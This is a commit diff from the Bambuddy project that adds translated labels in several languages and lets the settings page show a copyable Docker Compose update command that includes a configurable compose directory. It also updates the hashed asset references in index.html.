     updateViaDocker: 'Docker Composeでアップデート:',
+    composeDirectory: 'Compose ディレクトリ',
+    composeDirectoryHint: 'docker-compose.yml があるディレクトリ。空欄にすると cd を省略します。',
+    copyUpdateCommand: '更新コマンドをコピー',
     updateViaHomeAssistant: 'アップデートはHome Assistant Supervisorによって管理されます。Home Assistantの設定→アドオン→Bambuddyを開いて新しいバージョンをインストールしてください。',
     updateViaWindowsInstaller: 'Windowsインストールはインストーラーを再実行して更新します。下のリンクから新しいバージョンをダウンロードしてください — データ、設定、プリンターは保持されます。',
     downloadWindowsInstaller: 'v{{version}} のインストーラーをダウンロード',

+ 3 - 0
frontend/src/i18n/locales/ko.ts

@@ -2373,6 +2373,9 @@ export default {
     updateAvailableVersion: '업데이트 가능: v{{version}}',
     releaseNotes: '릴리스 노트',
     updateViaDocker: 'Docker Compose로 업데이트:',
+    composeDirectory: 'Compose 디렉터리',
+    composeDirectoryHint: 'docker-compose.yml이 있는 디렉터리입니다. 비워 두면 cd를 생략합니다.',
+    copyUpdateCommand: '업데이트 명령 복사',
     updateViaHomeAssistant: '업데이트는 Home Assistant 수퍼바이저에서 관리됩니다. Home Assistant에서 설정 → 애드온 → Bambuddy를 열어 새 버전을 설치하세요.',
     updateViaWindowsInstaller: 'Windows 설치본은 설치 프로그램을 다시 실행하여 업데이트합니다. 아래에서 새 버전을 다운로드하세요 — 데이터, 설정 및 프린터는 유지됩니다.',
     downloadWindowsInstaller: 'v{{version}} 설치 프로그램 다운로드',

+ 3 - 0
frontend/src/i18n/locales/pt-BR.ts

@@ -2457,6 +2457,9 @@ export default {
     updateAvailableVersion: 'Atualização disponível: v{{version}}',
     releaseNotes: 'Notas da versão',
     updateViaDocker: 'Atualizar via Docker Compose:',
+    composeDirectory: 'Diretório do Compose',
+    composeDirectoryHint: 'Diretório que contém seu docker-compose.yml. Deixe em branco para omitir o cd.',
+    copyUpdateCommand: 'Copiar comando de atualização',
     updateViaHomeAssistant: 'As atualizações são gerenciadas pelo Supervisor do Home Assistant. Abra Configurações → Complementos → Bambuddy no Home Assistant para instalar a nova versão.',
     updateViaWindowsInstaller: 'Instalações no Windows são atualizadas executando o instalador novamente. Baixe a nova versão abaixo — seus dados, configurações e impressoras são preservados.',
     downloadWindowsInstaller: 'Baixar instalador da v{{version}}',

+ 3 - 0
frontend/src/i18n/locales/ru.ts

@@ -2374,6 +2374,9 @@ export default {
     updateAvailableVersion: "Доступно обновление: v{{version}}",
     releaseNotes: "Примечания к выпуску",
     updateViaDocker: "Обновление через Docker Compose:",
+    composeDirectory: "Каталог Compose",
+    composeDirectoryHint: "Каталог с вашим docker-compose.yml. Оставьте пустым, чтобы не добавлять cd.",
+    copyUpdateCommand: "Скопировать команду обновления",
     updateViaHomeAssistant: "Обновления устанавливаются через Home Assistant Supervisor. Чтобы установить новую версию, откройте в Home Assistant: Настройки → Дополнения → Bambuddy.",
     updateViaWindowsInstaller: "В Windows обновление выполняется повторным запуском установщика. Скачайте новую версию ниже — данные, настройки и принтеры сохранятся.",
     downloadWindowsInstaller: "Скачать установщик v{{version}}",

+ 3 - 0
frontend/src/i18n/locales/tr.ts

@@ -2512,6 +2512,9 @@ export default {
     updateAvailableVersion: 'Güncelleme mevcut: v{{version}}',
     releaseNotes: 'Sürüm Notları',
     updateViaDocker: 'Docker Compose ile güncelle:',
+    composeDirectory: 'Compose dizini',
+    composeDirectoryHint: 'docker-compose.yml dosyanızın bulunduğu dizin. cd eklenmemesi için boş bırakın.',
+    copyUpdateCommand: 'Güncelleme komutunu kopyala',
     updateViaHomeAssistant: "Güncellemeler Home Assistant Supervisor tarafından yönetilir. Yeni sürümü yüklemek için Home Assistant'ta Ayarlar → Eklentiler → Bambuddy'ye gidin.",
     updateViaWindowsInstaller: 'Windows kurulumları, kurucu yeniden çalıştırılarak güncellenir. Yeni sürümü aşağıdan indirin — verileriniz, ayarlarınız ve yazıcılarınız korunur.',
     downloadWindowsInstaller: 'v{{version}} için kurucuyu indir',

+ 3 - 0
frontend/src/i18n/locales/uk.ts

@@ -2527,6 +2527,9 @@ export default {
     updateAvailableVersion: "Доступне оновлення: v{{version}}",
     releaseNotes: "Примітки до випуску",
     updateViaDocker: "Оновити через Docker Написати:",
+    composeDirectory: "Каталог Compose",
+    composeDirectoryHint: "Каталог із вашим docker-compose.yml. Залиште порожнім, щоб не додавати cd.",
+    copyUpdateCommand: "Скопіювати команду оновлення",
     updateViaHomeAssistant: "Оновленнями керує супервізор Home Assistant. Відкрийте «Налаштування» → «Додатки» → Bambuddy у Home Assistant, щоб установити нову версію.",
     updateViaWindowsInstaller: "Інсталяції Windows оновлюються шляхом повторного запуску інсталятора. Завантажте нову версію нижче — ваші дані, налаштування та принтери збережуться.",
     downloadWindowsInstaller: "Завантажити інсталятор для v{{version}}",

+ 3 - 0
frontend/src/i18n/locales/zh-CN.ts

@@ -2502,6 +2502,9 @@ export default {
     updateAvailableVersion: '可用更新:v{{version}}',
     releaseNotes: '发布说明',
     updateViaDocker: '通过 Docker Compose 更新:',
+    composeDirectory: 'Compose 目录',
+    composeDirectoryHint: '存放 docker-compose.yml 的目录。留空则不添加 cd。',
+    copyUpdateCommand: '复制更新命令',
     updateViaHomeAssistant: '更新由 Home Assistant Supervisor 管理。请在 Home Assistant 中打开 设置 → 加载项 → Bambuddy 以安装新版本。',
     updateViaWindowsInstaller: 'Windows 安装通过重新运行安装程序来更新。请在下方下载新版本 — 您的数据、设置和打印机都会保留。',
     downloadWindowsInstaller: '下载 v{{version}} 安装程序',

+ 3 - 0
frontend/src/i18n/locales/zh-TW.ts

@@ -2502,6 +2502,9 @@ export default {
     updateAvailableVersion: '可用更新:v{{version}}',
     releaseNotes: '發布說明',
     updateViaDocker: '透過 Docker Compose 更新:',
+    composeDirectory: 'Compose 目錄',
+    composeDirectoryHint: '存放 docker-compose.yml 的目錄。留空則不加入 cd。',
+    copyUpdateCommand: '複製更新指令',
     updateViaHomeAssistant: '更新由 Home Assistant Supervisor 管理。請在 Home Assistant 中開啟 設定 → 附加元件 → Bambuddy 以安裝新版本。',
     updateViaWindowsInstaller: 'Windows 安裝可透過重新執行安裝程式來更新。請在下方下載新版本 — 您的資料、設定和印表機都會保留。',
     downloadWindowsInstaller: '下載 v{{version}} 安裝程式',

+ 43 - 3
frontend/src/pages/SettingsPage.tsx

@@ -17,6 +17,7 @@ import { SlicerBundlesPanel } from '../components/SlicerBundlesPanel';
 import { SlicerPipelinesPanel } from '../components/SlicerPipelinesPanel';
 import { CameraTokensSection } from './CameraTokensPage';
 import { Collapsible } from '../components/Collapsible';
+import { CopyButton } from '../components/CopyButton';
 import { Button } from '../components/Button';
 import { SmartPlugCard } from '../components/SmartPlugCard';
 import { AddSmartPlugModal } from '../components/AddSmartPlugModal';
@@ -1348,6 +1349,21 @@ export function SettingsPage() {
     }, 50);
   };
 
+  // #2664 (reporter pchulpjoost): `docker compose pull` only works from the
+  // directory holding the compose file, so the bare command the update box
+  // printed could not be pasted anywhere useful. The saved setting wins; when
+  // it is blank we fall back to whatever the backend could infer, and when
+  // that is blank too we print the command without a `cd` rather than a made-up
+  // path that would fail on paste.
+  const composeDir =
+    (localSettings?.docker_compose_dir ?? '').trim() || (updateCheck?.compose_dir_detected ?? '');
+  // Quoted only when it has to be. The backend restricts this field to path
+  // characters, so quotes, $ and backticks cannot be in it and double-quoting
+  // a path with a space is safe.
+  const composeUpdateCommand = composeDir
+    ? `cd ${/\s/.test(composeDir) ? `"${composeDir}"` : composeDir} && docker compose pull && docker compose up -d`
+    : 'docker compose pull && docker compose up -d';
+
   return (
     <CardDensityProvider density="dense">
     <div className="p-4 md:p-8">
@@ -2706,9 +2722,33 @@ export function SettingsPage() {
                         <p className="text-sm text-bambu-gray mb-2">
                           {t('settings.updateViaDocker')}
                         </p>
-                        <code className="block text-xs bg-bambu-dark p-2 rounded text-bambu-green font-mono">
-                          docker compose pull && docker compose up -d
-                        </code>
+                        <div className="flex items-start gap-1">
+                          <code className="flex-1 block text-xs bg-bambu-dark p-2 rounded text-bambu-green font-mono break-all select-all">
+                            {composeUpdateCommand}
+                          </code>
+                          <CopyButton
+                            value={composeUpdateCommand}
+                            titleKey="settings.copyUpdateCommand"
+                            copiedTitleKey="printers.copied"
+                            className="ml-0 p-2 rounded hover:bg-bambu-dark text-bambu-gray hover:text-white transition-colors flex-shrink-0"
+                            iconClassName="w-4 h-4"
+                          />
+                        </div>
+                        <label className="block mt-3">
+                          <span className="block text-xs text-bambu-gray mb-1">
+                            {t('settings.composeDirectory')}
+                          </span>
+                          <input
+                            type="text"
+                            value={localSettings?.docker_compose_dir ?? ''}
+                            onChange={(e) => updateSetting('docker_compose_dir', e.target.value)}
+                            placeholder={updateCheck?.compose_dir_detected || '/opt/bambuddy'}
+                            className="w-full px-3 py-2 bg-bambu-dark border border-bambu-dark-tertiary rounded text-sm text-white font-mono placeholder:text-bambu-gray/60 focus:outline-none focus:border-bambu-green"
+                          />
+                          <span className="block text-xs text-bambu-gray mt-1">
+                            {t('settings.composeDirectoryHint')}
+                          </span>
+                        </label>
                       </div>
                     ) : updateCheck?.update_method === 'windows_installer' ? (
                       <div className="mt-3 p-3 bg-bambu-dark-tertiary rounded-lg">

La diferencia del archivo ha sido suprimido porque es demasiado grande
+ 0 - 1
static/assets/index-C_6BSgrK.css


La diferencia del archivo ha sido suprimido porque es demasiado grande
+ 1 - 0
static/assets/index-D1VjN2fo.css


La diferencia del archivo ha sido suprimido porque es demasiado grande
+ 0 - 0
static/assets/index-JnTmfHJF.js


+ 2 - 2
static/index.html

@@ -26,8 +26,8 @@
 
     <!-- Splash screens for iOS -->
     <link rel="apple-touch-startup-image" href="/img/android-chrome-512x512.png" />
-    <script type="module" crossorigin src="/assets/index-D7Qc8rjX.js"></script>
-    <link rel="stylesheet" crossorigin href="/assets/index-C_6BSgrK.css">
+    <script type="module" crossorigin src="/assets/index-JnTmfHJF.js"></script>
+    <link rel="stylesheet" crossorigin href="/assets/index-D1VjN2fo.css">
   </head>
   <body>
     <div id="root"></div>

Algunos archivos no se mostraron porque demasiados archivos cambiaron en este cambio